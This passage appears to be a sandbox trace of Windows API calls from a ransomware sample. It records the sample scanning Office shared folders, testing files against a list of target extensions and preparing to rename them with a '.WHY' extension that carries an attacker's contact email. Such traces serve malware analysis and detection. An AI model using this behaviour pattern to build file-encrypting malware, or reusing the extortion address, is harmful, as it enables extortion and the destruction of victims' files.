Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0222.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0222.709] lstrlenW (lpString=".doc") returned 4 [0222.709] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0222.709] lstrlenW (lpString=".docx") returned 5 [0222.709] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0222.709] lstrlenW (lpString=".pdf") returned 4 [0222.709] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0222.709] lstrlenW (lpString=".xls") returned 4 [0222.709] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0222.709] lstrlenW (lpString=".xlsx") returned 5 [0222.709] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0222.709] lstrlenW (lpString=".ppt") returned 4 [0222.709] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0222.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0222.710] lstrlenW (lpString=".zip") returned 4 [0222.710] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0222.710] lstrlenW (lpString=".rar") returned 4 [0222.710] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0222.710] lstrlenW (lpString=".bz2") returned 4 [0222.710] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0222.710] lstrlenW (lpString=".7z") returned 3 [0222.710] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0222.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0222.710] lstrlenW (lpString=".dbf") returned 4 [0222.710] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0222.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0222.711] lstrlenW (lpString=".1cd") returned 4 [0222.711] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0222.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0222.711] lstrlenW (lpString=".jpg") returned 4 [0222.711] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0222.711] lstrcmpiW (lpString1=".TLB", lpString2=".WHY") returned -1 [0222.712] lstrlenW (lpString="MSTAG.TLB") returned 9 [0222.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0224.844] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=13684) returned 1 [0224.844] CloseHandle (hObject=0x290) returned 1 [0224.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb")) returned 0x20 [0224.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0224.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0224.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0224.845] lstrlenW (lpString=".doc") returned 4 [0224.845] lstrcmpiW (lpString1=".doc", lpString2=".TLB") returned -1 [0224.845] lstrlenW (lpString=".docx") returned 5 [0224.845] lstrcmpiW (lpString1=".docx", lpString2="G.TLB") returned -1 [0224.845] lstrlenW (lpString=".pdf") returned 4 [0224.845] lstrcmpiW (lpString1=".pdf", lpString2=".TLB") returned -1 [0224.845] lstrlenW (lpString=".xls") returned 4 [0224.845] lstrcmpiW (lpString1=".xls", lpString2=".TLB") returned 1 [0224.845] lstrlenW (lpString=".xlsx") returned 5 [0224.845] lstrcmpiW (lpString1=".xlsx", lpString2="G.TLB") returned -1 [0224.846] lstrlenW (lpString=".ppt") returned 4 [0224.846] lstrcmpiW (lpString1=".ppt", lpString2=".TLB") returned -1 [0224.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0224.846] lstrlenW (lpString=".zip") returned 4 [0224.846] lstrcmpiW (lpString1=".zip", lpString2=".TLB") returned 1 [0224.846] lstrlenW (lpString=".rar") returned 4 [0224.846] lstrcmpiW (lpString1=".rar", lpString2=".TLB") returned -1 [0224.846] lstrlenW (lpString=".bz2") returned 4 [0224.846] lstrcmpiW (lpString1=".bz2", lpString2=".TLB") returned -1 [0224.846] lstrlenW (lpString=".7z") returned 3 [0224.846] lstrcmpiW (lpString1=".7z", lpString2="TLB") returned -1 [0224.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0224.846] lstrlenW (lpString=".dbf") returned 4 [0224.846] lstrcmpiW (lpString1=".dbf", lpString2=".TLB") returned -1 [0224.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0224.847] lstrlenW (lpString=".1cd") returned 4 [0224.847] lstrcmpiW (lpString1=".1cd", lpString2=".TLB") returned -1 [0224.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0224.847] lstrlenW (lpString=".jpg") returned 4 [0224.847] lstrcmpiW (lpString1=".jpg", lpString2=".TLB") returned -1 [0224.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0224.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0224.847] lstrlenW (lpString=".doc") returned 4 [0224.847] lstrcmpiW (lpString1=".doc", lpString2=".TLB") returned -1 [0224.848] lstrlenW (lpString=".docx") returned 5 [0224.848] lstrcmpiW (lpString1=".docx", lpString2="G.TLB") returned -1 [0224.848] lstrlenW (lpString=".pdf") returned 4 [0224.848] lstrcmpiW (lpString1=".pdf", lpString2=".TLB") returned -1 [0224.848] lstrlenW (lpString=".xls") returned 4 [0224.848] lstrcmpiW (lpString1=".xls", lpString2=".TLB") returned 1 [0224.848] lstrlenW (lpString=".xlsx") returned 5 [0224.848] lstrcmpiW (lpString1=".xlsx", lpString2="G.TLB") returned -1 [0224.848] lstrlenW (lpString=".ppt") returned 4 [0224.848] lstrcmpiW (lpString1=".ppt", lpString2=".TLB") returned -1 [0224.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0224.848] lstrlenW (lpString=".zip") returned 4 [0224.849] lstrcmpiW (lpString1=".zip", lpString2=".TLB") returned 1 [0224.849] lstrlenW (lpString=".rar") returned 4 [0224.849] lstrcmpiW (lpString1=".rar", lpString2=".TLB") returned -1 [0224.849] lstrlenW (lpString=".bz2") returned 4 [0224.849] lstrcmpiW (lpString1=".bz2", lpString2=".TLB") returned -1 [0224.849] lstrlenW (lpString=".7z") returned 3 [0224.849] lstrcmpiW (lpString1=".7z", lpString2="TLB") returned -1 [0224.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0224.849] lstrlenW (lpString=".dbf") returned 4 [0224.849] lstrcmpiW (lpString1=".dbf", lpString2=".TLB") returned -1 [0224.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0224.849] lstrlenW (lpString=".1cd") returned 4 [0224.850] lstrcmpiW (lpString1=".1cd", lpString2=".TLB") returned -1 [0224.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0224.850] lstrlenW (lpString=".jpg") returned 4 [0224.850] lstrcmpiW (lpString1=".jpg", lpString2=".TLB") returned -1 [0224.850] lstrcmpiW (lpString1=".ELM", lpString2=".WHY") returned -1 [0224.850] lstrlenW (lpString="IRIS.ELM") returned 8 [0224.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0225.763] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=65885) returned 1 [0225.763] CloseHandle (hObject=0x2d0) returned 1 [0225.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm")) returned 0x20 [0225.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0225.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0225.764] lstrlenW (lpString=".doc") returned 4 [0225.764] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.764] lstrlenW (lpString=".docx") returned 5 [0225.764] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0225.764] lstrlenW (lpString=".pdf") returned 4 [0225.764] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.765] lstrlenW (lpString=".xls") returned 4 [0225.765] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.765] lstrlenW (lpString=".xlsx") returned 5 [0225.765] lstrcmpiW (lpString1=".xlsx", lpString2="S.ELM") returned -1 [0225.765] lstrlenW (lpString=".ppt") returned 4 [0225.765] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0225.765] lstrlenW (lpString=".zip") returned 4 [0225.765] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.765] lstrlenW (lpString=".rar") returned 4 [0225.765] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.765] lstrlenW (lpString=".bz2") returned 4 [0225.765] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.765] lstrlenW (lpString=".7z") returned 3 [0225.766] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0225.766] lstrlenW (lpString=".dbf") returned 4 [0225.766] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0225.766] lstrlenW (lpString=".1cd") returned 4 [0225.766] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0225.766] lstrlenW (lpString=".jpg") returned 4 [0225.766] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0225.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0225.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0225.767] lstrlenW (lpString=".doc") returned 4 [0225.767] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.767] lstrlenW (lpString=".docx") returned 5 [0225.767] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0225.767] lstrlenW (lpString=".pdf") returned 4 [0225.767] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.767] lstrlenW (lpString=".xls") returned 4 [0225.767] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.767] lstrlenW (lpString=".xlsx") returned 5 [0225.767] lstrcmpiW (lpString1=".xlsx", lpString2="S.ELM") returned -1 [0225.767] lstrlenW (lpString=".ppt") returned 4 [0225.768] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0225.768] lstrlenW (lpString=".zip") returned 4 [0225.768] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.768] lstrlenW (lpString=".rar") returned 4 [0225.768] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.768] lstrlenW (lpString=".bz2") returned 4 [0225.768] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.768] lstrlenW (lpString=".7z") returned 3 [0225.768] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0225.768] lstrlenW (lpString=".dbf") returned 4 [0225.769] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0225.769] lstrlenW (lpString=".1cd") returned 4 [0225.769] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0225.769] lstrlenW (lpString=".jpg") returned 4 [0225.769] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0225.770] lstrcmpiW (lpString1=".INF", lpString2=".WHY") returned -1 [0225.770] lstrlenW (lpString="STUDIO.INF") returned 10 [0225.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0225.975] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=578) returned 1 [0225.975] CloseHandle (hObject=0x320) returned 1 [0225.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf")) returned 0x20 [0225.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF") returned 73 [0225.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF") returned 73 [0225.977] lstrlenW (lpString=".doc") returned 4 [0225.977] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.977] lstrlenW (lpString=".docx") returned 5 [0225.977] lstrcmpiW (lpString1=".docx", lpString2="O.INF") returned -1 [0225.977] lstrlenW (lpString=".pdf") returned 4 [0225.977] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.977] lstrlenW (lpString=".xls") returned 4 [0225.977] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.977] lstrlenW (lpString=".xlsx") returned 5 [0225.977] lstrcmpiW (lpString1=".xlsx", lpString2="O.INF") returned -1 [0225.977] lstrlenW (lpString=".ppt") returned 4 [0225.977] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF") returned 73 [0225.978] lstrlenW (lpString=".zip") returned 4 [0225.978] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.978] lstrlenW (lpString=".rar") returned 4 [0225.978] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.978] lstrlenW (lpString=".bz2") returned 4 [0225.978] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.978] lstrlenW (lpString=".7z") returned 3 [0225.978] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF") returned 73 [0225.978] lstrlenW (lpString=".dbf") returned 4 [0225.978] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF") returned 73 [0225.978] lstrlenW (lpString=".1cd") returned 4 [0225.979] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF") returned 73 [0225.979] lstrlenW (lpString=".jpg") returned 4 [0225.979] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF") returned 73 [0225.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF") returned 73 [0225.979] lstrlenW (lpString=".doc") returned 4 [0225.979] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.979] lstrlenW (lpString=".docx") returned 5 [0225.979] lstrcmpiW (lpString1=".docx", lpString2="O.INF") returned -1 [0225.979] lstrlenW (lpString=".pdf") returned 4 [0225.980] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.980] lstrlenW (lpString=".xls") returned 4 [0225.980] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.980] lstrlenW (lpString=".xlsx") returned 5 [0225.980] lstrcmpiW (lpString1=".xlsx", lpString2="O.INF") returned -1 [0225.980] lstrlenW (lpString=".ppt") returned 4 [0225.980] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF") returned 73 [0225.980] lstrlenW (lpString=".zip") returned 4 [0225.980] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.980] lstrlenW (lpString=".rar") returned 4 [0225.980] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.980] lstrlenW (lpString=".bz2") returned 4 [0225.980] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.981] lstrlenW (lpString=".7z") returned 3 [0225.981] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF") returned 73 [0225.981] lstrlenW (lpString=".dbf") returned 4 [0225.981] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF") returned 73 [0225.981] lstrlenW (lpString=".1cd") returned 4 [0225.981] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF") returned 73 [0225.981] lstrlenW (lpString=".jpg") returned 4 [0225.981] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.982] lstrcmpiW (lpString1=".INF", lpString2=".WHY") returned -1 [0225.982] lstrlenW (lpString="THEMES.INF") returned 10 [0225.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0225.984] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=7276) returned 1 [0225.984] CloseHandle (hObject=0x320) returned 1 [0225.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf")) returned 0x20 [0225.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned 66 [0225.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned 66 [0225.985] lstrlenW (lpString=".doc") returned 4 [0225.985] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.985] lstrlenW (lpString=".docx") returned 5 [0225.985] lstrcmpiW (lpString1=".docx", lpString2="S.INF") returned -1 [0225.985] lstrlenW (lpString=".pdf") returned 4 [0225.985] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.985] lstrlenW (lpString=".xls") returned 4 [0225.985] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.985] lstrlenW (lpString=".xlsx") returned 5 [0225.986] lstrcmpiW (lpString1=".xlsx", lpString2="S.INF") returned -1 [0225.986] lstrlenW (lpString=".ppt") returned 4 [0225.986] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned 66 [0225.986] lstrlenW (lpString=".zip") returned 4 [0225.986] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.986] lstrlenW (lpString=".rar") returned 4 [0225.986] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.986] lstrlenW (lpString=".bz2") returned 4 [0225.986] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.986] lstrlenW (lpString=".7z") returned 3 [0225.986] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned 66 [0225.987] lstrlenW (lpString=".dbf") returned 4 [0225.987] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned 66 [0225.987] lstrlenW (lpString=".1cd") returned 4 [0225.987] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned 66 [0225.987] lstrlenW (lpString=".jpg") returned 4 [0225.987] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned 66 [0225.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned 66 [0225.987] lstrlenW (lpString=".doc") returned 4 [0225.987] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.987] lstrlenW (lpString=".docx") returned 5 [0225.987] lstrcmpiW (lpString1=".docx", lpString2="S.INF") returned -1 [0225.988] lstrlenW (lpString=".pdf") returned 4 [0225.988] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.988] lstrlenW (lpString=".xls") returned 4 [0225.988] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.988] lstrlenW (lpString=".xlsx") returned 5 [0225.988] lstrcmpiW (lpString1=".xlsx", lpString2="S.INF") returned -1 [0225.988] lstrlenW (lpString=".ppt") returned 4 [0225.988] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned 66 [0225.988] lstrlenW (lpString=".zip") returned 4 [0225.988] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.988] lstrlenW (lpString=".rar") returned 4 [0225.988] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.988] lstrlenW (lpString=".bz2") returned 4 [0225.988] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.989] lstrlenW (lpString=".7z") returned 3 [0225.989] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned 66 [0225.989] lstrlenW (lpString=".dbf") returned 4 [0225.989] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned 66 [0225.989] lstrlenW (lpString=".1cd") returned 4 [0225.989] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned 66 [0225.989] lstrlenW (lpString=".jpg") returned 4 [0225.989] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.990] lstrcmpiW (lpString1=".ELM", lpString2=".WHY") returned -1 [0225.990] lstrlenW (lpString="WATER.ELM") returned 9 [0225.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0225.992] GetFileSizeEx (in: 